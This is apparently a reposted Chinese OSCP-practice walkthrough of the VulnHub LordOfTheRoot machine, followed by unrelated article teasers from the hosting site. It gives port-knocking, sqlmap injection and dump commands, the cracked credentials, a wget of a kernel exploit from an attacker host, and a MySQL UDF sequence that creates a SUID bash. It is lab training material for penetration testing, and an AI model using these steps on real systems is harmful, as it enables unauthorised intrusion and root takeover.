OSCP備戰-LordOfTheRoot靶機復現步驟

PDF下載:

Target-practice/Range at main · szjr123/Target-practice

一、靶機描述

靶機地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/

靶機難度:中等(CTF)

靶機描述:這是KoocSec為黑客練習準備的另一個Boot2Root挑戰。他通過OSCP考試的啟發準備了這一過程。它基于偉大的小說改制電影《指環王》的概念。

目標:得到root權限&找到flag.txt

直接VM導入靶機,啟動靶機

二、信息搜集

1、目標IP獲取

得到目標IP:10.10.10.130

2、端口掃描

nmap -p- --min-rate 1000 -T4 10.10.10.130

似乎只開啟了22端口嗎

端口詳細信息掃描

nmap -p22 -sV -sC -A? --min-rate 1000 -T4 10.10.10.130

嘗試連接22端口

ssh 10.10.10.130

給出提示:

Easy as 1,2,3

提示port_knocking(端口試探)
端口試探的主要目的是防止攻擊者通過對端口掃描的方式對主機進行攻擊。
端口試探是一種通過嘗試連接,從外部打開原先關閉端口的方法。一旦收到正確順序的嘗試連接,防火墻就會打開一些特定的端口允許嘗試連接的主機訪問。

嘗試連接123端口

安裝knock

apt install knockd

使用

knock -v 10.10.10.130 1 2 3

再次進行端口掃描

nmap -p- --min-rate 1000 -T4 10.10.10.130

開放新的端口1337

三、Getshell

訪問1337端口

查看源代碼沒有信息

進行目錄掃描

給到三張圖片

沒什么信息根據圖片訪問/mordor

源代碼發現

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

得到新路徑

/978345210/index.php

登錄框

嘗試admin萬能密碼失敗

嘗試注入

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms

給出:data: username= &password=*&submit=%20Login%20

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms --dbs

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp --tables

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp -T Users –dump

得到:

frodo | iwilltakethering
smeagol | MyPreciousR00t
aragorn | AndMySword
legolas | AndMyBow
gimli | AndMyAxe

嘗試進行ssh連接:

最終只有smeagol | MyPreciousR00t可以成功連接

四、提權

1、內核提權

查看內核:

uname -a

ubuntu 14.04 linux 3.19

wget 10.10.10.128:442/39166.c

2、mysql udf提權

注意:下述操作未做演示,只是講解一般操作步驟

查看mysql啟動權限

查找mysql賬號:/var/www/ 978345210/login.php

'root', 'darkshadow'

連接

mysql -u root -p

輸入密碼后進入

查看mysql版本號

(1)依次執行

select * from mysql.func;#查看可執行函數,若以及有函數直接跳到(7)select version();?? # 獲取數據庫版本

udf提權因數據庫版本會不一樣

show variables like 'plugin%'; # 查看plugin路徑show global variables like '%secure%';? #查看是否有寫入權限

當 secure_file_priv 的值沒有具體值時,可提權

(2)任選一個數據庫創建表單:

CREATE TABLE foo (data LONGBLOB);

(3)將所選擇的udf插入表單(同樣先利用wget下載kali中自帶的(位置:/usr/share/metasploit/mysql/)):

insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so '));

(4)導出(/usr/lib/mysql/plugin/為plugin位置):

select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so ';

(5)創建函數(這里少數情況會報錯,執行(9)):

create function sys_eval returns integer soname 'lib_mysqludf_sys_64.so';

(6)

select * from mysql.func; ? #查看函數是否創建成功

(7)

select sys_eval('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');

(8)回到/tmp/bash執行

/tmp/bash -pwhoami

(9)查看lib_mysqludf_sys_64.so 長度,顯示長度為1

ls -l /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so

直接在數據庫中進行復制過去

\! cp /tmp/lib_mysqludf_sys_64.so /usr/lib/mysql/plugin

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/911714.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/911714.shtml
英文地址,請注明出處:http://en.pswp.cn/news/911714.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

蘋果或140億美元收購Perplexity,AI搜索格局面臨重構

據多家媒體報道,蘋果內部高管近期就競購AI初創公司Perplexity的可能性舉行了初步會談。若交易最終達成,可能將以接近140億美元的估值完成,成為蘋果歷史上最大規模的收購案12。盡管討論仍處于早期階段,且蘋果尚未與Perplexity管理層…

屠龍刀策略

該策略是一個針對金融市場的自動化交易策略,主要用于日內交易,特別關注于在中國金融期貨市場(如滬深300指數期貨(IF))的日間交易時段(09:20至15:15)進行操作。下面是該策略核心部分的代碼注解解析: 參數定義 - `Nnn1(5)` 和 `Nnn2(20)`:策略中的兩個參數,用于內部計…

【本機已實現】使用Mac部署Triton服務,使用perf_analyzer、model_analyzer

我們的目標是星辰大海 硬件配置:Apple M224 GB Tirtion實現過程 1??Docker安裝 Tirtion的實現,首先要確保系統上的Docker可用 使用默認源會導致拉取失敗,因為墻 Error response from daemon: Get "https://registry-1.docker.io/v2…

idea依賴下載慢解決

setttings.xml <mirrors><mirror><id>aliyunmaven</id><name>阿里云公共倉庫</name><url>https://maven.aliyun.com/repository/public</url><mirrorOf>*</mirrorOf> <!-- 匹配所有倉庫請求 --></mirr…

C# WPF常用調試工具匯總

除了Live Visual Tree、Live Property Explorer和Snoop外&#xff0c;WPF開發還有多種強大的調試工具。以下是完整的工具集合及其詳細使用方法&#xff1a; 1. WPF Performance Suite (WPF性能分析套件) 簡介 微軟官方提供的專業WPF性能分析工具&#xff0c;包含多個組件用于診…

《Vuejs設計與實現》第 11 章(快速 diff 算法

目錄 11.1 相同的前置元素和后置元素 11.2 判斷是否需要進行 DOM 移動操作 11.3 如何移動元素 11.4 總結 我們將探討第三種用于比較新舊子節點集合的方法&#xff1a;快速Diff算法。 這種算法的速度非常快&#xff0c;最早應用于 ivi 和 inferno 框架&#xff0c;DOM 操作方…

JavaScript 存儲對象 sessionStorage (會話存儲) 和 localStorage(本地存儲)

深入理解 localStorage localStorage 是瀏覽器提供的一種客戶端存儲機制&#xff0c;用于在用戶瀏覽器中存儲鍵值對數據。與 cookie 相比&#xff0c;它提供了更大的存儲容量&#xff08;通常為 5-10MB&#xff09;&#xff0c;并且不會隨 HTTP 請求發送到服務器&#xff0c;因…

Z-Ant開源程序是簡化了微處理器上神經網絡的部署和優化

?一、軟件介紹 文末提供程序和源碼下載 Z-Ant &#xff08;Zig-Ant&#xff09; 是一個全面的開源神經網絡框架&#xff0c;專門用于在微控制器和邊緣設備上部署優化的 AI 模型。Z-Ant 使用 Zig 構建&#xff0c;為資源受限的硬件上的模型優化、代碼生成和實時推理提供端到端…

Linux系統---Nginx配置nginx狀態統計

配置Nignx狀態統計 1、下載vts模塊 https://github.com/vozlt/nginx-module-vts [rootclient ~]# nginx -s stop [rootclient ~]# ls anaconda-ks.cfg nginx-1.27.3 ceph-release-1-1.el7.noarch.rpm nginx-1.27.3.tar.gz info.sh …

深入理解 C++ Lambda表達式:四大語法特性 + 六大高頻考點全解析

Lambda表達式是C11引入的一項重要特性&#xff0c;它極大地改變了我們編寫匿名函數的方式。 一、為什么會有Lambda表達式 在C11之前&#xff0c;當我們需要傳遞一個簡單的函數時&#xff0c;通常有以下幾種選擇&#xff1a; 1.1、定義一個單獨的函數 // 單獨定義的比較函數…

SpringBoot 自動化部署實戰:CI/CD 整合方案與避坑全指南

在數字化轉型浪潮席卷全球的當下&#xff0c;企業對軟件交付的速度與質量提出了前所未有的高要求。SpringBoot 憑借其 “約定優于配置” 的特性&#xff0c;成為 Java 領域快速構建應用的熱門框架。而將 SpringBoot 與 CI/CD&#xff08;持續集成 / 持續交付&#xff09;相結合…

JVM字節碼文件結構深度剖析

反匯編&#xff0c;以下命令可以查看相對可讀的詳細結構 javap -verbose ByteCode.class與Class二進制文件并不是直接對齊的 Class二進制文件結構參照表 ClassFile {u4 magic;魔數u2 minor_version;副版本號u2 major_version;主版本號u2…

跟著chrome面板優化頁面性能

沒有優化前&#xff1a; 1.對文本進行壓縮&#xff1a; 重新打包 運行 評分好像還是沒有發生改變&#xff0c;于是我去找別的壓縮的途徑&#xff0c; npm install --save-dev vite-plugin-compression 然后修改vite.config.js文件 導入compression插件 文件夾中也成功出現了…

網上花店微信小程序完整項目

概述 一款功能完善的網上花店微信小程序完整項目。該項目包含了完整的前后端代碼&#xff0c;是一款基于Java技術棧開發的電商類小程序&#xff0c;適合初學者學習的小程序源碼。 主要內容 該花店小程序源碼采用主流技術架構開發&#xff0c;主要功能模塊包括&#xff1a; …

Elasticsearch 搜索的流程

Elasticsearch 的搜索流程是一個分布式協作過程&#xff0c;主要包含 ?查詢階段&#xff08;Query Phase&#xff09;? 和 ?取回階段&#xff08;Fetch Phase&#xff09;?&#xff0c;默認采用 QUERY_THEN_FETCH 模式。以下是詳細流程&#xff1a; 一、請求分發與路由 ?…

用戶行為分析:從概念到實踐的全面指南

在數字化轉型浪潮中&#xff0c;用戶行為分析已成為企業決策的核心驅動力。 用戶行為分析本質上是對用戶與產品交互過程中產生的各類行為數據進行系統性收集、處理和分析&#xff0c;從而揭示用戶偏好、預測行為趨勢并指導業務決策的過程。它包含三層核心要素&#xff1a;行為…

Claude Code - 終端智能編碼助手

文章目錄 一、關于 Claude Code1、項目概覽2、相關鏈接資源 二、安裝配置三、使用指南1、快速開始2、問題反饋 四、隱私與數據1、數據收集2、隱私保護 一、關于 Claude Code 1、項目概覽 Claude Code 是一款終端智能編碼工具&#xff0c;能夠理解代碼庫并通過自然語言命令執行…

如何在FastAPI中玩轉跨服務權限校驗的魔法?

title: 如何在FastAPI中玩轉跨服務權限校驗的魔法? date: 2025/06/24 08:23:40 updated: 2025/06/24 08:23:40 author: cmdragon excerpt: FastAPI跨服務權限校驗通過可信令牌頒發、令牌傳播機制和分布式驗證實現微服務架構安全。核心組件包括令牌生成服務和驗證邏輯,使用…

用 Python 打造立體數據世界:3D 堆疊條形圖繪制全解析

在數據可視化的工具箱里&#xff0c;3D 圖表總能帶來眼前一亮的效果 —— 它突破了二維平面的限制&#xff0c;用立體空間展示多維度數據關系&#xff0c;讓復雜的數據層級一目了然。今天我們要解鎖的「3D 堆疊條形圖」&#xff0c;就是一種能同時呈現類別、子類別、數值大小的…

互聯網大廠Java求職面試:AI與大模型技術下的RAG系統架構設計與性能優化

【互聯網大廠Java求職面試&#xff1a;AI與大模型技術下的RAG系統架構設計與性能優化】 文章內容 面試官開場白 技術總監&#xff08;李明&#xff09;&#xff1a; “鄭薪苦&#xff0c;歡迎來到今天的面試。我是李明&#xff0c;負責我們公司的AI平臺架構設計。今天我們將圍…